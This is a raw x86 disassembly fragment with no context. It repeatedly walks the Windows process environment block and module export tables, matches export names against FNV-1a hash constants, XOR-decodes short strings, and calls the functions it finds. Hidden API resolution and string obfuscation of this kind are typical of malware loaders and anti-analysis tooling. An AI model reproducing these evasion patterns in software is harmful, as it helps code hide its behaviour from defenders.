je 0x43de8f
lea eax, [esp + 0x1258]
mov dword [esp + 0x1284], eax
mov eax, dword [esp + 0x1284]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x1254], eax
mov eax, dword [esp + 0x1254]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x1254], ecx
cmp eax, 0
je 0x43de8d
mov eax, dword [esp + 0x1254]
lea ecx, [esp + 0x1258]
mov dword [esp + 0x129c], ecx
mov dword [esp + 0x1298], eax
mov eax, dword [esp + 0x129c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1298]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x12a4], 0xc4d30460
mov dword [esp + 0x12a0], 0x61af88
mov eax, dword [esp + 0x12a4]
mov dword [esp + 0x1294], ecx
mov dword [esp + 0x1290], eax
mov eax, dword [esp + 0x1290]
mov dword [esp + 0x128c], eax
mov eax, dword [esp + 0x1294]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x1294], ecx
mov al, byte [eax]
mov byte [esp + 0x128b], al
cmp byte [esp + 0x128b], 0
je 0x43de60
mov ecx, dword [esp + 0x128c]
mov al, byte [esp + 0x128b]
mov dword [esp + 0x12d4], ecx
mov byte [esp + 0x12d3], al
mov eax, dword [esp + 0x12d4]
mov dword [esp + 0x50], eax
movsx eax, byte [esp + 0x12d3]
cmp eax, 0x41
jl 0x43de38
movsx eax, byte [esp + 0x12d3]
cmp eax, 0x5a
jg 0x43de38
movsx eax, byte [esp + 0x12d3]
or eax, 0x20
mov dword [esp + 0x4c], eax
jmp 0x43de44
movsx eax, byte [esp + 0x12d3]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x4c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x128c], eax
jmp 0x43ddc0
mov eax, dword [esp + 0x128c]
mov dword [esp + 0x12ac], 0xc4d30460
mov dword [esp + 0x12a8], 0x61af88
mov ecx, dword [esp + 0x12a8]
cmp eax, ecx
je 0x43debd
jmp 0x43dd30
jmp 0x43de8f
lea eax, [esp + 0x1264]
mov dword [esp + 0x12c0], eax
mov eax, dword [esp + 0x12c0]
mov ecx, dword [eax]
mov dword [esp + 0x12d8], ecx
mov ecx, dword [esp + 0x12d8]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43dc6f
mov eax, dword [esp + 0x1254]
lea ecx, [esp + 0x1258]
mov dword [esp + 0x12bc], ecx
mov dword [esp + 0x12b8], eax
mov eax, dword [esp + 0x12bc]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x12b4], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x12b0], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x12b4]
mov edx, dword [esp + 0x12b0]
mov esi, dword [esp + 0x12b8]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1268], eax
mov eax, dword [esp + 0x1268]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x9dc]
mov dword [esp + 0xa0c], eax
mov eax, dword [esp + 0xa0c]
mov dword [esp + 0xa70], eax
mov eax, dword [esp + 0xa70]
mov dword [esp + 0x48], eax
mov dword [esp + 0xa84], eax
mov eax, dword [esp + 0xa84]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43dfde
mov eax, dword [esp + 0x48]
mov dword [esp + 0xad8], eax
mov dword [esp + 0xad4], eax
mov eax, dword [esp + 0xad8]
mov dword [esp + 0x40], eax
mov dword [esp + 0xad0], 0
cmp dword [esp + 0xad0], 0x10
jge 0x43dfdc
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0xad4]
mov edx, dword [esp + 0xad0]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xad0]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xad0]
add eax, 1
mov dword [esp + 0xad0], eax
jmp 0x43df94
jmp 0x43dfde
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43dff1
jmp 0x43dff3
mov eax, dword [esp + 0x910]
mov ecx, dword [esp + 0x8f0]
mov ecx, dword [ecx + 0x28]
add eax, ecx
mov dword [esp + 0x7cc], eax
mov eax, esp
lea ecx, [esp + 0x7ba]
mov dword [eax], ecx
lea ecx, [esp + 0x7bb]
call fcn.0043f1d0
sub esp, 4
jmp 0x43e029
lea eax, [esp + 0x7cb]
mov dword [esp + 0x9e8], eax
lea eax, [esp + 0x7bb]
mov dword [esp + 0x9e4], eax
lea eax, [esp + 0x12ec]
mov dword [esp + 0x12f4], eax
mov eax, dword [esp + 0x12f4]
mov dword [esp + 0x1350], 0x30
mov ecx, dword [esp + 0x1350]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x134c], ecx
mov ecx, dword [esp + 0x134c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x12ec]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x12e0]
mov dword [esp + 0x1304], ecx
mov dword [esp + 0x1300], eax
mov eax, dword [esp + 0x1304]
mov ecx, dword [esp + 0x1300]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1300]
mov dword [esp + 0x1354], ecx
mov ecx, dword [esp + 0x1354]
mov edx, dword [esp + 0x1354]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x12f8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x12fc], ecx
mov ecx, dword [esp + 0x1300]
add ecx, dword [esp + 0x12f8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x12fc]
mov dword [eax + 8], ecx
lea eax, [esp + 0x12e0]
mov dword [esp + 0x1308], eax
mov ecx, dword [esp + 0x1308]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43e2a5
lea eax, [esp + 0x12e0]
mov dword [esp + 0x130c], eax
mov eax, dword [esp + 0x130c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x12dc], eax
mov eax, dword [esp + 0x12dc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x12dc], ecx
cmp eax, 0
je 0x43e2a3
mov eax, dword [esp + 0x12dc]
lea ecx, [esp + 0x12e0]
mov dword [esp + 0x1324], ecx
mov dword [esp + 0x1320], eax
mov eax, dword [esp + 0x1324]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1320]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x132c], 0xab0e401b
mov dword [esp + 0x1328], 0xc85dd67
mov eax, dword [esp + 0x132c]
mov dword [esp + 0x131c], ecx
mov dword [esp + 0x1318], eax
mov eax, dword [esp + 0x1318]
mov dword [esp + 0x1314], eax
mov eax, dword [esp + 0x131c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x131c], ecx
mov al, byte [eax]
mov byte [esp + 0x1313], al
cmp byte [esp + 0x1313], 0
je 0x43e276
mov ecx, dword [esp + 0x1314]
mov al, byte [esp + 0x1313]
mov dword [esp + 0x135c], ecx
mov byte [esp + 0x135b], al
mov eax, dword [esp + 0x135c]
mov dword [esp + 0x3c], eax
movsx eax, byte [esp + 0x135b]
cmp eax, 0x41
jl 0x43e24e
movsx eax, byte [esp + 0x135b]
cmp eax, 0x5a
jg 0x43e24e
movsx eax, byte [esp + 0x135b]
or eax, 0x20
mov dword [esp + 0x38], eax
jmp 0x43e25a
movsx eax, byte [esp + 0x135b]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1314], eax
jmp 0x43e1d6
mov eax, dword [esp + 0x1314]
mov dword [esp + 0x1334], 0xab0e401b
mov dword [esp + 0x1330], 0xc85dd67
mov ecx, dword [esp + 0x1330]
cmp eax, ecx
je 0x43e2d3
jmp 0x43e146
jmp 0x43e2a5
lea eax, [esp + 0x12ec]
mov dword [esp + 0x1348], eax
mov eax, dword [esp + 0x1348]
mov ecx, dword [eax]
mov dword [esp + 0x1360], ecx
mov ecx, dword [esp + 0x1360]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43e085
mov eax, dword [esp + 0x12dc]
lea ecx, [esp + 0x12e0]
mov dword [esp + 0x1344], ecx
mov dword [esp + 0x1340], eax
mov eax, dword [esp + 0x1344]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x133c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1338], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x133c]
mov edx, dword [esp + 0x1338]
mov esi, dword [esp + 0x1340]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x12f0], eax
mov eax, dword [esp + 0x12f0]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x9e4]
mov dword [esp + 0xa08], eax
mov eax, dword [esp + 0xa08]
mov dword [esp + 0xa74], eax
mov eax, dword [esp + 0xa74]
mov dword [esp + 0x34], eax
mov dword [esp + 0xa80], eax
mov eax, dword [esp + 0xa80]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43e3f4
mov eax, dword [esp + 0x34]
mov dword [esp + 0xacc], eax
mov dword [esp + 0xac8], eax
mov eax, dword [esp + 0xacc]
mov dword [esp + 0x2c], eax
mov dword [esp + 0xac4], 0
cmp dword [esp + 0xac4], 0x10
jge 0x43e3f2
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0xac8]
mov edx, dword [esp + 0xac4]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xac4]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xac4]
add eax, 1
mov dword [esp + 0xac4], eax
jmp 0x43e3aa
jmp 0x43e3f4
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43e407
jmp 0x43e409
mov dword [esp + 0x7b4], 0
mov eax, dword [esp + 0x7cc]
mov dword [esp + 0x7b0], eax
mov dword [esp + 0x7ac], 0
lea eax, [esp + 0x7b9]
mov dword [esp + 0x9f8], eax
lea eax, [esp + 0x7b4]
mov dword [esp + 0x9f4], eax
lea eax, [esp + 0x7b0]
mov dword [esp + 0x9f0], eax
lea eax, [esp + 0x7ac]
mov dword [esp + 0x9ec], eax
lea eax, [esp + 0x1374]
mov dword [esp + 0x137c], eax
mov eax, dword [esp + 0x137c]
mov dword [esp + 0x13d8], 0x30
mov ecx, dword [esp + 0x13d8]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x13d4], ecx
mov ecx, dword [esp + 0x13d4]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x1374]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x1368]
mov dword [esp + 0x138c], ecx
mov dword [esp + 0x1388], eax
mov eax, dword [esp + 0x138c]
mov ecx, dword [esp + 0x1388]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1388]
mov dword [esp + 0x13dc], ecx
mov ecx, dword [esp + 0x13dc]
mov edx, dword [esp + 0x13dc]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1380], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x1384], ecx
mov ecx, dword [esp + 0x1388]
add ecx, dword [esp + 0x1380]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x1384]
mov dword [eax + 8], ecx
lea eax, [esp + 0x1368]
mov dword [esp + 0x1390], eax
mov ecx, dword [esp + 0x1390]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43e6c5
lea eax, [esp + 0x1368]
mov dword [esp + 0x1394], eax
mov eax, dword [esp + 0x1394]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x1364], eax
mov eax, dword [esp + 0x1364]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x1364], ecx
cmp eax, 0
je 0x43e6c3
mov eax, dword [esp + 0x1364]
lea ecx, [esp + 0x1368]
mov dword [esp + 0x13ac], ecx
mov dword [esp + 0x13a8], eax
mov eax, dword [esp + 0x13ac]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x13a8]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x13b4], 0xbf34fc3
mov dword [esp + 0x13b0], 0xc67e643
mov eax, dword [esp + 0x13b4]
mov dword [esp + 0x13a4], ecx
mov dword [esp + 0x13a0], eax
mov eax, dword [esp + 0x13a0]
mov dword [esp + 0x139c], eax
mov eax, dword [esp + 0x13a4]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x13a4], ecx
mov al, byte [eax]
mov byte [esp + 0x139b], al
cmp byte [esp + 0x139b], 0
je 0x43e696
mov ecx, dword [esp + 0x139c]
mov al, byte [esp + 0x139b]
mov dword [esp + 0x13e4], ecx
mov byte [esp + 0x13e3], al
mov eax, dword [esp + 0x13e4]
mov dword [esp + 0x28], eax
movsx eax, byte [esp + 0x13e3]
cmp eax, 0x41
jl 0x43e66e
movsx eax, byte [esp + 0x13e3]
cmp eax, 0x5a
jg 0x43e66e
movsx eax, byte [esp + 0x13e3]
or eax, 0x20
mov dword [esp + 0x24], eax
jmp 0x43e67a
movsx eax, byte [esp + 0x13e3]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x139c], eax
jmp 0x43e5f6
mov eax, dword [esp + 0x139c]
mov dword [esp + 0x13bc], 0xbf34fc3
mov dword [esp + 0x13b8], 0xc67e643
mov ecx, dword [esp + 0x13b8]
cmp eax, ecx
je 0x43e6f3
jmp 0x43e566
jmp 0x43e6c5
lea eax, [esp + 0x1374]
mov dword [esp + 0x13d0], eax
mov eax, dword [esp + 0x13d0]
mov ecx, dword [eax]
mov dword [esp + 0x13e8], ecx
mov ecx, dword [esp + 0x13e8]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43e4a5
mov eax, dword [esp + 0x1364]
lea ecx, [esp + 0x1368]
mov dword [esp + 0x13cc], ecx
mov dword [esp + 0x13c8], eax
mov eax, dword [esp + 0x13cc]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov edx, dword [edx + 0x1c]
add ecx, edx
mov dword [esp + 0x13c4], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov edx, dword [edx + 0x24]
add ecx, edx
mov dword [esp + 0x13c0], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x13c4]
mov edx, dword [esp + 0x13c0]
mov esi, dword [esp + 0x13c8]
movzx edx, word [edx + esi*2]
mov ecx, dword [ecx + edx*4]
add eax, ecx
mov dword [esp + 0x1378], eax
mov eax, dword [esp + 0x1378]
mov ecx, dword [esp + 0x9f4]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9f0]
mov esi, dword [ecx]
mov ecx, dword [esp + 0x9ec]
mov edi, dword [ecx]
mov ecx, esp
mov dword [ecx + 8], edi
mov dword [ecx + 4], esi
mov dword [ecx], edx
call eax
sub esp, 0xc
jmp 0x43e792
jmp 0x43e794
mov eax, esp
lea ecx, [esp + 0x79a]
mov dword [eax], ecx
lea ecx, [esp + 0x79b]
call fcn.0043f230
sub esp, 4
jmp 0x43e7b0
lea eax, [esp + 0x7ab]
mov dword [esp + 0xa00], eax
lea eax, [esp + 0x79b]
mov dword [esp + 0x9fc], eax
lea eax, [esp + 0x13fc]
mov dword [esp + 0x1404], eax
mov eax, dword [esp + 0x1404]
mov dword [esp + 0x1460], 0x30
mov ecx, dword [esp + 0x1460]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x145c], ecx
mov ecx, dword [esp + 0x145c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0x13fc]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0x13f0]
mov dword [esp + 0x1414], ecx
mov dword [esp + 0x1410], eax
mov eax, dword [esp + 0x1414]
mov ecx, dword [esp + 0x1410]
mov dword [eax], ecx
mov ecx, dword [esp + 0x1410]
mov dword [esp + 0x1464], ecx
mov ecx, dword [esp + 0x1464]
mov edx, dword [esp + 0x1464]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0x1408], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0x140c], ecx
mov ecx, dword [esp + 0x1410]
add ecx, dword [esp + 0x1408]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x140c]
mov dword [eax + 8], ecx
lea eax, [esp + 0x13f0]
mov dword [esp + 0x1418], eax
mov ecx, dword [esp + 0x1418]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43ea2c
lea eax, [esp + 0x13f0]
mov dword [esp + 0x141c], eax
mov eax, dword [esp + 0x141c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0x13ec], eax
mov eax, dword [esp + 0x13ec]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x13ec], ecx
cmp eax, 0
je 0x43ea2a
mov eax, dword [esp + 0x13ec]
lea ecx, [esp + 0x13f0]
mov dword [esp + 0x1434], ecx
mov dword [esp + 0x1430], eax
mov eax, dword [esp + 0x1434]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0x1430]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0x143c], 0x87796814
mov dword [esp + 0x1438], 0xefc648bc
mov eax, dword [esp + 0x143c]
mov dword [esp + 0x142c], ecx
mov dword [esp + 0x1428], eax
mov eax, dword [esp + 0x1428]
mov dword [esp + 0x1424], eax
mov eax, dword [esp + 0x142c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0x142c], ecx
mov al, byte [eax]
mov byte [esp + 0x1423], al
cmp byte [esp + 0x1423], 0
je 0x43e9fd
mov ecx, dword [esp + 0x1424]
mov al, byte [esp + 0x1423]
mov dword [esp + 0x146c], ecx
mov byte [esp + 0x146b], al
mov eax, dword [esp + 0x146c]
mov dword [esp + 0x20], eax
movsx eax, byte [esp + 0x146b]
cmp eax, 0x41
jl 0x43e9d5
movsx eax, byte [esp + 0x146b]
cmp eax, 0x5a
jg 0x43e9d5
movsx eax, byte [esp + 0x146b]
or eax, 0x20
mov dword [esp + 0x1c], eax
jmp 0x43e9e1
movsx eax, byte [esp + 0x146b]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0x1424], eax
jmp 0x43e95d
mov eax, dword [esp + 0x1424]
mov dword [esp + 0x1444], 0x87796814
mov dword [esp + 0x1440], 0xefc648bc
mov ecx, dword [esp + 0x1440]
cmp eax, ecx
je 0x43ea5a
jmp 0x43e8cd
jmp 0x43ea2c
lea eax, [esp + 0x13fc]
mov dword [esp + 0x1458], eax
mov eax, dword [esp + 0x1458]
mov ecx, dword [eax]
mov dword [esp + 0x1470], ecx
mov ecx, dword [esp + 0x1470]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43e80c
mov eax, dword [esp + 0x13ec]
lea ecx, [esp + 0x13f0]
mov dword [esp + 0x1454], ecx
mov dword [esp + 0x1450], eax
mov eax, dword [esp + 0x1454]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0x144c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0x1448], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0x144c]
mov edx, dword [esp + 0x1448]
mov esi, dword [esp + 0x1450]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0x1400], eax
mov eax, dword [esp + 0x1400]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x9fc]
mov dword [esp + 0xa04], eax
mov eax, dword [esp + 0xa04]
mov dword [esp + 0xa78], eax
mov eax, dword [esp + 0xa78]
mov dword [esp + 0x18], eax
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43eb7b
mov eax, dword [esp + 0x18]
mov dword [esp + 0xac0], eax
mov dword [esp + 0xabc], eax
mov eax, dword [esp + 0xac0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xab8], 0
cmp dword [esp + 0xab8], 0x10
jge 0x43eb79
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xabc]
mov edx, dword [esp + 0xab8]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xab8]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xab8]
add eax, 1
mov dword [esp + 0xab8], eax
jmp 0x43eb31
jmp 0x43eb7b
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43eb8e
jmp 0x43eb90
mov dword [esp + 0x794], 0
cmp dword [esp + 0x794], 0x1c
jae 0x43ebbd
mov dword [esp + 0x93c], 0
mov dword [esp + 0x790], 1
jmp 0x43ebc8
mov dword [esp + 0x790], 0
lea ecx, [esp + 0x930]
call fcn.00468a30
mov eax, dword [esp + 0x93c]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x920]
mov dword [esp], eax
call fcn.0046cac0
int3